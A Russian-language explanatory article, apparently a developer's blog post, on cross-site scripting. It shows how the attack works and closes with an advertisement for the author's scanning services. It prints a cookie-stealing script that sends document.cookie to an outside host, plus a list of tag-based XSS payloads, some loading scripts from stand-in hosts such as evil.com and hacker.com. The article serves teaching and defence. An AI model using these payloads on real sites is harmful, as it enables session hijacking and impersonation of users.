Межсайтовая атака XSS
Межсайтовые скрипты (XSS) относятся к атаке инъекции кода на стороне клиента, в которой злоумышленник может выполнять вредоносные скрипты на веб-сайте или веб-приложении. XSS является одним из наиболее распространенных уязвимостей веб-приложения и происходит, когда веб-приложение не использует валидацию или кодирование вводимы-выводимых данных.
Используя XSS, злоумышленник не нацеливается непосредственно на жертву. Вместо этого он воспользуется уязвимостью веб-сайта или веб-приложения, которое посетит жертва, по существу используя уязвимый веб-сайт в качестве средства доставки вредоносного сценария в браузер жертвы.
В то время как XSS может быть использован в VBScript, ActiveX и Flash (хотя последний в настоящее время считается устаревшим), бесспорно, им наиболее широко злоупотребляют в JavaScript – в первую очередь потому, что JavaScript имеет фундаментальное значение для большинства сайтов.
Как работает межсайтовый скрипт
Чтобы запустить вредоносный код JavaScript в браузере жертвы, злоумышленник должен сначала найти способ внедрить полезные данные на веб-страницу, которую посещает жертва. Конечно, злоумышленник может использовать методы социальной инженерии, чтобы убедить пользователя посетить уязвимую страницу с введенной полезной нагрузкой JavaScript.
Для атаки на XSS уязвимый веб-сайт должен непосредственно включать пользовательский ввод на своих страницах. Затем злоумышленник может вставить строку, которая будет использоваться на веб-странице и обрабатываться браузером жертвы как код.
Следующий псевдо-код на стороне сервера используется для отображения последнего комментария на веб-странице.
print "<html>" print "<h1>Most recent comment</h1>" print database.latestComment print "</html>"Приведенный выше скрипт просто распечатывает последний комментарий из базы данных комментариев и печатает содержимое на HTML-странице, предполагая, что распечатанный комментарий состоит только из текста.
Вышеупомянутый код страницы уязвим к xss, потому что злоумышленник может оставить комментарий, который содержит вредоносную нагрузку, например
<script>doSomethingEvil();</script>. Пользователи, посещающие веб-страницу, получат следующую HTML-страницу.
<html> <h1>Most recent comment</h1> <script>doSomethingEvil();</script> </html>Когда страница загружается в браузере жертвы, вредоносный скрипт злоумышленника будет выполняться, чаще всего без осознания или возможности пользователя предотвратить такую атаку.
Важное примечание: —xss-уязвимость может существовать только если полезная нагрузка (вредоносный скрипт), который злоумышленник вставляет, в конечном счете обрабатывается (как HTML в данном случае) в браузере жертвы
Что может сделать злоумышленник с JavaScript?
Последствия того, что злоумышленник может сделать с возможностью выполнения JavaScript на веб-странице, могут не сразу проявиться, тем более что браузеры запускают JavaScript в очень жестко контролируемой среде и что JavaScript имеет ограниченный доступ к операционной системе пользователя и файлам пользователя.
Однако, учитывая, что JavaScript имеет доступ к следующему, легче понять, что творческие злоумышленники могут получить с JavaScript.
Вредоносный JavaScript имеет доступ ко всем тем же объектам, что и остальная часть веб-страницы, включая доступ к cookies. Файлы cookie часто используются для хранения маркеров сеансов, если злоумышленник может получить файл cookie сеанса пользователя, он может олицетворять этого пользователя.
JavaScript может читать и вносить произвольные изменения в dom браузера (внутри страницы, на которой работает JavaScript).
JavaScript может использовать XMLHttpRequest для отправки http-запросов с произвольным содержанием в произвольных направлениях.
JavaScript в современных браузерах может использовать API HTML5, такие как доступ к геолокации пользователя, веб-камера, микрофон и даже конкретные файлы из файловой системы пользователя. В то время как большинство из этих API требуют участия пользователя, XSS в сочетании с некоторой умной социальной инженерией может принести злоумышленнику неплохие результаты.
Вообще, в сочетании с социальной инженерией, это способы позволяют злоумышленникам организовывать такие атаки, как кражу кук, кейлоггинг, фишинг и кражи личных данных. Критично, что уязвимости XSS обеспечивают идеальную почву для нападающих для эскалации атак на более серьезные.
Разве межсайтовые скрипты не проблема пользователя?
Нет. Если злоумышленник может злоупотребить уязвимостью XSS на веб-странице, чтобы выполнить произвольный JavaScript в браузере посетителя, безопасность этого веб-сайта или веб — приложения и его пользователей была скомпрометирована-xss не является проблемой пользователя, как и любая другая Уязвимость безопасности, если она затрагивает ваших пользователей, это повлияет на вас.
Анатомия межсайтовой скриптовой атаки
Для Xss-атаки нужны три участника: сайт, жертва и нападающий. В приведенном ниже примере предполагается, что целью злоумышленника является выдача себя за жертву путем кражи куки жертвы. Отправка файлов cookie на сервер злоумышленника может быть осуществлена различными способами, одним из которых является выполнение следующего кода JavaScript в браузере жертвы с помощью уязвимости XSS.
<script> window.location=“https://upread.ru/?cookie=” + document.cookie </script>На рисунке ниже показано пошаговое руководство по простой атаке XSS.
- Злоумышленник вводит полезные данные в базу данных веб-сайта, отправляя уязвимую форму с помощью вредоносного кода JavaScript
- Жертва запрашивает веб-страницу с веб-сайта
- Веб-сайт служит браузеру жертвы страница с полезной нагрузкой злоумышленника как часть тела HTML.
- Браузер жертвы будет выполнять вредоносный скрипт внутри тела HTML. В этом случае он отправит куки жертвы на сервер злоумышленника. Теперь злоумышленник должен просто извлечь файл cookie жертвы, когда HTTP-запрос поступает на сервер, после чего злоумышленник может использовать украденный файл cookie жертвы.
Ниже приведен небольшой список сценариев атаки XSS, которые злоумышленник может использовать для нарушения безопасности веб-сайта или веб-приложения.
<script> тег
Этот <script> тег является наиболее прямой xss уязвимостью. Тег script может ссылаться на внешний код JavaScript.
<!—Внешний скрипт --> <script src=http://evil.com/xss.js></script> <!—Встроенный скрипт --> <script> alert("XSS"); </script><body> тег
При xss инъекция может быть доставлена внутрь <body> тега с помощью onload атрибута или другим более темным атрибутом, таким как background.
<!—загрузка атрибута --> <body onload=alert("XSS")> <!-- background атрибут --> <body background="javascript:alert("XSS")"><img> тег Некоторые браузеры будут выполнять JavaScript, когда он находится в <img>.
<!-- <img> тег XSS --> <img src="javascript:alert("XSS");"> <!-- XSS использует малоизвестные атрибуты --> <img dynsrc="javascript:alert('XSS')"> <img lowsrc="javascript:alert('XSS')"><iframe> тег Этот <iframe> тег позволяет встраивать другую HTML-страницу в родительскую. IFrame может содержать JavaScript, однако важно отметить, что JavaScript в iFrame не имеет доступа к DOM родительской страницы из-за политики безопасности содержимого браузера (CSP). Тем не менее, IFrames по-прежнему являются очень эффективным средством для фишинговых атак.
<!-- <iframe> тег XSS --> <iframe src=”http://evil.com/xss.html”><input> тег
В некоторых браузерах, если этот type атрибут <input> тега имеет значение image, он может использоваться для размещения скрипта.
<!-- <input> тег XSS --> <input type="image" src="javascript:alert('XSS');"><link> тег
В <link> теге, который часто используется для ссылки на внешние таблицы стилей, могут содержаться скрипт.
<!-- <link>тег XSS --> <link rel="stylesheet" href="javascript:alert('XSS');"><table> тег
Вackground атрибут table и td тегов может быть использован для обозначения скрипт вместо изображения.
<!-- <table> тегXSS --> <table background="javascript:alert('XSS')"> <!-- <td> tag XSS --> <td background="javascript:alert('XSS')"><div> тег
В <div> теге, аналогично <table> и <td> теги можно указать фон, и поэтому вставить скрипт.
<!-- <div> тег XSS --> <div style="background-image: url(javascript:alert('XSS'))"> <!-- <div> тег XSS --> <div style="width: expression(alert('XSS'));"><object> тег
Этот <object> тег может использоваться для включения в скрипт с внешнего сайта.
<!-- <object> тег XSS --> <object type="text/x-scriptlet" data="http://hacker.com/xss.html">Уязвим ли ваш сайт для межсайтового скриптинга?
Уязвимости XSS являются одними из наиболее распространенных уязвимостей веб-приложений в интернете. К счастью, легко проверить, если ваш веб-сайт или веб-приложение уязвимы для XSS и других уязвимостей, просто обратившись ко мне. Я за небольшую плату с помощью специальных программ просканирую ваш ресурс, найду потенциальные уязвимости и подскажу, как их устранить.
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.
Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.